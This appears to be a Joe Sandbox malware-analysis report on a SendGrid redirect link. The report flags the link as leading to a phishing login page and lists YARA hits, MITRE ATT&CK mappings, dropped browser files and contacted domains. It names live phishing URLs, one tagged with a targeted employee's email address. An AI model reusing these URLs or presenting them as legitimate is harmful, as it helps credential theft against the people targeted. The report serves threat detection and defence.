
ID: 655824
Cookbook: browseurl.jbs
Time: 19:35:41
Date: 01/07/2022
Version: 35.0.0 Citrine
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Overview
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Yara Signatures

PCAP (Network Traffic)
HTML

Sigma Signatures
Snort Signatures
Joe Sandbox Signatures

AV Detection
Phishing

Mitre Att&ck Matrix
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Screenshots

Thumbnails
Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs

Domains and IPs
Contacted Domains
Contacted URLs
URLs from Memory and Binaries
World Map of Contacted IPs

Public IPs

Private
General Information

Warnings
Simulations

Behavior and APIs
Joe Sandbox View / Context

IPs
Domains
ASNs
JA3 Fingerprints
Dropped Files

Created / dropped Files
C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic
C:\Users\user\AppData\Local\Google\Chrome\User Data\35d993f3-3535-46f4-a92b-c21b003497f7.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\184b41a6-afc8-484e-a19a-e1cc295332cf.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\60e85aac-3225-4c81-a66c-c8d56f9b66e0.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\61c5e631-3a9f-4a3a-b1d7-ef931f88b611.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6bbafcc4-c63c-4c9f-bd44-a74afef1074b.tmp
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\9d60acc6-fb66-47d1-be28-
c795a5970d58.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\b870082c-126a-43f3-bb6a-3a9096fbf1cc.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\d315f094-ef97-4a38-9412-dc04e5a72028.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\dc30fb4c-49cf-45ab-853f-a09675d941d1.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\e61f9840-4530-41f4-be7a-5fc992f24c18.tmp
C:\Users\user\AppData\Local\Temp\192889ef-d1e4-49a1-8185-9b1dd96571fe.tmp
C:\Users\user\AppData\Local\Temp\a064512f-d671-49c6-95f2-8cc5baade69e.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\bg\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ca\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\cs\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\da\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\de\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\el\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\en\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\en_GB\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\es\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\es_419\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\et\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\fi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\fil\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\fr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\hi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\hr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\hu\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\id\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\it\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ja\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ko\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\lt\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\lv\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\nb\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\nl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\pl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\pt_BR\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\pt_PT\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ro\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\ru\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\sk\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\sl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\sr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\sv\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\th\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\tr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\uk\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\vi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\zh_CN\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_locales\zh_TW\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\craw_background.js
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\craw_window.js
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\css\craw_window.css
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\html\craw_window.html
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\flapper.gif
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\icon_128.png
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\icon_16.png
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button.png
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button_close.png
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button_hover.png
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button_maximize.png
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\images\topbar_floating_button_pressed.png
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\CRX_INSTALL\manifest.json
C:\Users\user\AppData\Local\Temp\scoped_dir5592_689831108\a064512f-d671-49c6-95f2-8cc5baade69e.tmp

Static File Info
Network Behavior

Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTP Packets
HTTPS Proxied Packets

Statistics
Behavior

System Behavior
Analysis Process: chrome.exePID: 5592, Parent PID: 2916
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General
File Activities
Registry Activities

Key Value Modified

Analysis Process: chrome.exePID: 1012, Parent PID: 5592
General
File Activities

Disassembly

Copyright Joe Security LLC 2022 Page 4 of 79



Windows Analysis Report 
https://u27457241.ct.sendgrid.net/ls/click?upn=gU5vgDjVhsr8xBWi9KbyhCmRGj-2Bhghe49Z0FiLcWjrB3-2BHjpRZrJUn0d0SGBkXrx6oN6ZDJ2BS4RqE-2FwX06Vp6CNzr5fnG8rLhZtVfnefSs-3DAxs4_-2BYPg4XG7CFcrtVeqe-2FEiJSrJo19pXwJ6tXzH5pmmxxnbXO272-2BI29kN-2BvjWAIpglbQXOPOiRaJAAdguTnhglHj-2BjiZuY-2Bl2yPjdcSrK-2F9ezebjhFVSInUR…

Overview

General Information

Sample URL: https://u27457241.ct.send
grid.net/ls/click?
upn=gU5vgDjVhsr8xBWi9
KbyhCmRGj-2...4RqE-
2FwX06Vp6CNzr5fnG8rLh
ZtVfnefSs-3DAxs4_-
2BYPg4XG7CFcrtVeqe-
2FEiJSrJo19p

Analysis ID: 655824

Infos:

Detection

HTMLPhisher

Score: 64

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected HtmlPhish10

Antivirus detection for URL or domain

Multi AV Scanner detection for dom…

Yara signature match

Invalid 'forgot password' link found

No HTML title found

HTML body contains low number of …

Suspicious form URL found

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

chrome.exe (PID: 5592 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "https://u27457241.ct.sendgrid.net/ls/click?upn

=gU5vgDjVhsr8xBWi9KbyhCmRGj-2Bhghe49Z0FiLcWjrB3-2BHjpRZrJUn0d0SGBkXrx6oN6ZDJ2BS4RqE-2FwX06Vp6CNzr5fnG8rLhZtVfnefSs-3DAxs4_-2BYPg4XG7CFcrtVeqe-
2FEiJSrJo19pXwJ6tXzH5pmmxxnbXO272-2BI29kN-2BvjWAIpglbQXOPOiRaJAAdguTnhglHj-2BjiZuY-2Bl2yPjdcSrK-2F9ezebjhFVSInURAAh0NL7wSvgIxrQfzCizFzhR7FuzvZGAC9IX
JiD5MvT-2BM-2Bord7nJExCKq3jFy6KjuvaLIUZjyvy957XsqnMttci2nlXO0KBQ-3D-3D MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 1012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-

handle=1576,5871500396177420018,11391610541881566734,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1920 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

⊘ No configs have been found

Source Rule Description Author Strings

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Tra c)
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AV Detection

Phishing

sslproxydump.pcap SUSP_Base64_En
coded_Hex_Encod
ed_Code

Detects hex 
encoded code that 
has been base64 
encoded

Florian Roth 0xf8548:$x1: 78 34 4E 7A 42 63 65 44 5A 6A 58 48 67
0xf86ee:$x1: 78 34 4E 6D 56 63 65 44 59 33 58 48 67
0xf8a7a:$x1: 78 34 4E 7A 5A 63 65 44 59 78 58 48 67
0xf8a8a:$x1: 78 34 4E 6A 6C 63 65 44 59 30 58 48 67
0xf8a9a:$x1: 78 34 4E 6A 6C 63 65 44 5A 6C 58 48 67
0xf8ac2:$x1: 78 34 4E 6A 4A 63 65 44 63 31 58 48 67
0xf8ad2:$x1: 78 34 4E 6A 5A 63 65 44 59 31 58 48 67
0xf8b4e:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67
0xf8b5e:$x1: 78 34 4E 7A 52 63 65 44 63 35 58 48 67
0xf952c:$x1: 78 34 4E 6D 4E 63 65 44 59 31 58 48 67
0xf953c:$x1: 78 34 4E 6A 64 63 65 44 63 30 58 48 67
0xf995a:$x1: 78 34 4E 6A 56 63 65 44 5A 6C 58 48 67
0xf9fdc:$x1: 78 34 4E 6D 5A 63 65 44 5A 6B 58 48 67
0xf9fec:$x1: 78 34 4E 7A 4A 63 65 44 59 31 58 48 67
0xf9ffc:$x1: 78 34 4E 7A 4E 63 65 44 59 35 58 48 67
0xfa00c:$x1: 78 34 4E 6D 56 63 65 44 55 30 58 48 67
0xfa150:$x1: 78 34 4E 7A 56 63 65 44 5A 6B 58 48 67
0xfc1b8:$x1: 78 34 4E 7A 56 63 65 44 63 30 58 48 67
0xfc1c8:$x1: 78 34 4E 7A 56 63 65 44 63 30 58 48 67
0xfc1d8:$x1: 78 34 4E 6D 56 63 65 44 59 30 58 48 67
0xfc330:$x1: 78 34 4E 6D 5A 63 65 44 63 30 58 48 67

Source Rule Description Author Strings

Source Rule Description Author Strings

91064.0.pages.csv JoeSecurity_HtmlP
hish_10

Yara detected 
HtmlPhish_10

Joe Security

⊘ No Sigma rule has matched

⊘ No Snort rule has matched

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Valid
Accounts

Windows
Manageme
nt
Instrument
ation

Path
Interceptio
n

1
Process
Injection

3
Masqueradi
ng

OS
Credential
Dumping

System
Service
Discovery

Remote
Services

Data from
Local
System

Exfiltration
Over Other
Network
Medium

1
Encrypted
Channel

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

Modify
System
Partition

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Yara detected HtmlPhish10

Mitre Att&ck Matrix
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Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initializatio
n Scripts

Boot or
Logon
Initializatio
n Scripts

1
Process
Injection

LSASS
Memory

Application
Window
Discovery

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

4
Non-
Application
Layer
Protocol

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

At (Linux) Logon
Script
(Windows)

Logon
Script
(Windows)

1
Obfuscated
Files or
Information

Security
Account
Manager

Query
Registry

SMB/Wind
ows Admin
Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

5
Application
Layer
Protocol

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At
(Windows)

Logon
Script
(Mac)

Logon
Script
(Mac)

Binary
Padding

NTDS System
Network
Configurati
on
Discovery

Distributed
Component
Object
Model

Input
Capture

Scheduled
Transfer

3
Ingress
Tool
Transfer

SIM Card
Swap

Carrier
Billing
Fraud

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Behavior Graph
ID: 655824

URL: https://u27457241.ct.sendgr...

Startdate: 01/07/2022

Architecture: WINDOWS

Score: 64

www.google.com

Multi AV Scanner detection
for domain / URL

Antivirus detection
for URL or domain Yara detected HtmlPhish10

chrome.exe

13 217

        started       

192.168.2.1

unknown

unknown

239.255.255.250

unknown

Reserved

chrome.exe

23

        started       

u27457241.ct.sendgrid.net

167.89.115.54, 443, 49719, 49720

SENDGRIDUS

United States

clients.l.google.com

142.250.185.142, 443, 49329, 49717

GOOGLEUS

United States

15 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots

Thumbnails
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Source Detection Scanner Label Link

https://u27457241.ct.sendgrid.net/ls/click?upn=gU5vgDjVhsr8xBWi9KbyhCmRGj-
2Bhghe49Z0FiLcWjrB3-2BHjpRZrJUn0d0SGBkXrx6oN6ZDJ2BS4RqE-
2FwX06Vp6CNzr5fnG8rLhZtVfnefSs-3DAxs4_-2BYPg4XG7CFcrtVeqe-
2FEiJSrJo19pXwJ6tXzH5pmmxxnbXO272-2BI29kN-2BvjWAIpglbQXOPOiRaJAAdguTnhglHj-2BjiZuY-
2Bl2yPjdcSrK-2F9ezebjhFVSInURAAh0NL7wSvgIxrQfzCizFzhR7FuzvZGAC9IXJiD5MvT-2BM-
2Bord7nJExCKq3jFy6KjuvaLIUZjyvy957XsqnMttci2nlXO0KBQ-3D-3D

0% Avira URL Cloud safe

⊘ No Antivirus matches

⊘ No Antivirus matches

⊘ No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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Source Detection Scanner Label Link

h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l#jwilson 11% Virustotal Browse

h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l#jwilson 100% Avira URL Cloud phishing

https://dns.google 0% URL Reputation safe

h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l 11% Virustotal Browse

h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l 100% Avira URL Cloud phishing

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l 16% Virustotal Browse

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l 100% Avira URL Cloud phishing

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?
okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhwh=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD1dbKCjab
bV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk

100% Avira URL Cloud phishing

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l#jwilson 100% Avira URL Cloud phishing

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/css/hover.css 100% Avira URL Cloud phishing

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?
okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhwh=Pu55NB1

100% Avira URL Cloud phishing

Name IP Active Malicious Antivirus Detection Reputation

u27457241.ct.sendgrid.net 167.89.115.54 true false high

stackpath.bootstrapcdn.com 104.18.10.207 true false high

gstaticadssl.l.google.com 172.217.16.131 true false high

d26p066pn2w0s0.cloudfront.net 13.224.103.120 true false high

accounts.google.com 172.217.16.205 true false high

cdnjs.cloudflare.com 104.17.24.14 true false high

maxcdn.bootstrapcdn.com 104.18.10.207 true false high

boundary.dfinity.network 145.40.97.98 true false unknown

www.google.com 172.217.23.100 true false high

clients.l.google.com 142.250.185.142 true false high

clients2.google.com unknown unknown false high

ka-f.fontawesome.com unknown unknown false high

code.jquery.com unknown unknown false high

h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app unknown unknown false unknown

kit.fontawesome.com unknown unknown false high

logo.clearbit.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l true 11%, Virustotal, Browse
Avira URL Cloud: phishing

unknown

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/l true 16%, Virustotal, Browse
Avira URL Cloud: phishing

unknown

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?
okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhwh=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD1dbK
CjabbV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk

true Avira URL Cloud: phishing unknown

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-
US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26install
edby%3Dother%26uc%26ping%3Dr%253D-
1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby
%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high

https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js false high

https://u27457241.ct.sendgrid.net/ls/click?upn=gU5vgDjVhsr8xBWi9KbyhCmRGj-
2Bhghe49Z0FiLcWjrB3-2BHjpRZrJUn0d0SGBkXrx6oN6ZDJ2BS4RqE-
2FwX06Vp6CNzr5fnG8rLhZtVfnefSs-3DAxs4_-2BYPg4XG7CFcrtVeqe-
2FEiJSrJo19pXwJ6tXzH5pmmxxnbXO272-2BI29kN-2BvjWAIpglbQXOPOiRaJAAdguTnhglHj-
2BjiZuY-2Bl2yPjdcSrK-2F9ezebjhFVSInURAAh0NL7wSvgIxrQfzCizFzhR7FuzvZGAC9IXJiD5MvT-
2BM-2Bord7nJExCKq3jFy6KjuvaLIUZjyvy957XsqnMttci2nlXO0KBQ-3D-3D

false high

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/css/hover.css true Avira URL Cloud: phishing unknown

https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js false high

Domains and IPs

Contacted Domains

Contacted URLs

Copyright Joe Security LLC 2022 Page 9 of 79

https://www.virustotal.com/gui/url/4e8c13fad4a450cdfeaa7deed45a64c790f7f27c04ed29482ea04c91a9027fd9/detection/u-4e8c13fad4a450cdfeaa7deed45a64c790f7f27c04ed29482ea04c91a9027fd9-1656608222
https://www.virustotal.com/gui/url/4e8c13fad4a450cdfeaa7deed45a64c790f7f27c04ed29482ea04c91a9027fd9/detection/u-4e8c13fad4a450cdfeaa7deed45a64c790f7f27c04ed29482ea04c91a9027fd9-1656608222
https://www.virustotal.com/gui/url/6abb6dc729b232aa69803dbc6d965403a2ca47367bd10e7e0da0499bc5ab6c72/detection/u-6abb6dc729b232aa69803dbc6d965403a2ca47367bd10e7e0da0499bc5ab6c72-1656692939
https://www.virustotal.com/gui/url/4e8c13fad4a450cdfeaa7deed45a64c790f7f27c04ed29482ea04c91a9027fd9/detection/u-4e8c13fad4a450cdfeaa7deed45a64c790f7f27c04ed29482ea04c91a9027fd9-1656608222
https://www.virustotal.com/gui/url/6abb6dc729b232aa69803dbc6d965403a2ca47367bd10e7e0da0499bc5ab6c72/detection/u-6abb6dc729b232aa69803dbc6d965403a2ca47367bd10e7e0da0499bc5ab6c72-1656692939


https://www.google.com/s2/favicons?domain=dell.com?v=BUILD_HASH false high

https://logo.clearbit.com/glenergy.com false high

https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?
okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhwh=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD1dbK
CjabbV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk#jwilson@glenergy.com

true unknown

https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js false high

Name Malicious Antivirus Detection Reputation

Name Source Malicious Antivirus Detection Reputation

h6yak-jqaaa-aaaad-qcysq-
cai.raw.ic0.app/l#jwilson

History Provider Cache.0.dr true 11%, Virustotal, Browse
Avira URL Cloud: phishing

unknown

https://dns.google 9d60acc6-fb66-47d1-be28-c795a5970d58.tmp.1.dr, 
08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp.1.dr

false URL Reputation: safe unknown

https://github.com/google/closure-
library/wiki/goog.module:-an-ES6-module-like-
alternative-to-goog.p

craw_window.js.0.dr, craw_background.js.0.dr false high

https://www.google.com/intl/en-
US/chrome/blank.html

craw_background.js.0.dr false high

https://ogs.google.com 08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp.1.dr false high

https://www.google.com/images/cleardot.gif craw_window.js.0.dr false high

https://play.google.com 08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp.1.dr false high

https://payments.google.com/payments/v4/js/integrator
.js

craw_window.js.0.dr, manifest.json.0.dr false high

https://h6yak-jqaaa-aaaad-qcysq-
cai.raw.ic0.app/l#jwilson

History Provider Cache.0.dr true Avira URL Cloud: phishing unknown

https://sandbox.google.com/payments/v4/js/integrator.j
s

craw_window.js.0.dr, manifest.json.0.dr false high

https://www.google.com/images/x2.gif craw_window.js.0.dr false high

https://accounts.google.com/MergeSession craw_window.js.0.dr false high

https://u27457241.ct.sendgrid.net/ls/click?
upn=gU5vgDjVhsr8xBWi9KbyhCmRGj-
2Bhghe49Z0FiLcWjrB3-2BHjpR

History Provider Cache.0.dr false high

https://www.google.com 08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp.1.dr false high

https://www.google.com/images/dot2.gif craw_window.js.0.dr false high

https://accounts.google.com 08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp.1.dr false high

https://clients2.googleusercontent.com 08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp.1.dr false high

https://apis.google.com 08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp.1.dr false high

https://h6yak-jqaaa-aaaad-qcysq-
cai.raw.ic0.app/login.html?
okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhwh=Pu55NB1

History Provider Cache.0.dr true Avira URL Cloud: phishing unknown

https://www.google.com/accounts/OAuthLogin?
issueuberauth=1

craw_window.js.0.dr false high

https://www.google.com/ manifest.json.0.dr false high

https://www-googleapis-
staging.sandbox.google.com

craw_window.js.0.dr, craw_background.js.0.dr false high

https://clients2.google.com 08013fc1-37e3-4029-818c-fa3cc5c62fe6.tmp.1.dr false high

https://clients2.google.com/service/update2/crx manifest.json.0.dr false high

URLs from Memory and Binaries

World Map of Contacted IPs
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https://www.virustotal.com/gui/url/4e8c13fad4a450cdfeaa7deed45a64c790f7f27c04ed29482ea04c91a9027fd9/detection/u-4e8c13fad4a450cdfeaa7deed45a64c790f7f27c04ed29482ea04c91a9027fd9-1656608222


No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

145.40.97.98 boundary.dfinity.network Netherlands 34108 BREEDBANDDELFTNL false

104.17.24.14 cdnjs.cloudflare.com United States 13335 CLOUDFLARENETUS false

104.18.10.207 stackpath.bootstrapcdn.c
om

United States 13335 CLOUDFLARENETUS false

172.217.16.205 accounts.google.com United States 15169 GOOGLEUS false

167.89.115.54 u27457241.ct.sendgrid.ne
t

United States 11377 SENDGRIDUS false

239.255.255.250 unknown Reserved unknown unknown false

142.250.185.142 clients.l.google.com United States 15169 GOOGLEUS false

172.217.23.100 www.google.com United States 15169 GOOGLEUS false

13.224.103.120 d26p066pn2w0s0.cloudfro
nt.net

United States 16509 AMAZON-02US false

172.217.16.131 gstaticadssl.l.google.com United States 15169 GOOGLEUS false

IP

192.168.2.1

127.0.0.1

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 655824

Start date and time: 01/07/202219:35:41 2022-07-01 19:35:41 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 3m 18s

Hypervisor based Inspection enabled: false

Report type: light

Cookbook file name: browseurl.jbs

Public IPs

Private

General Information
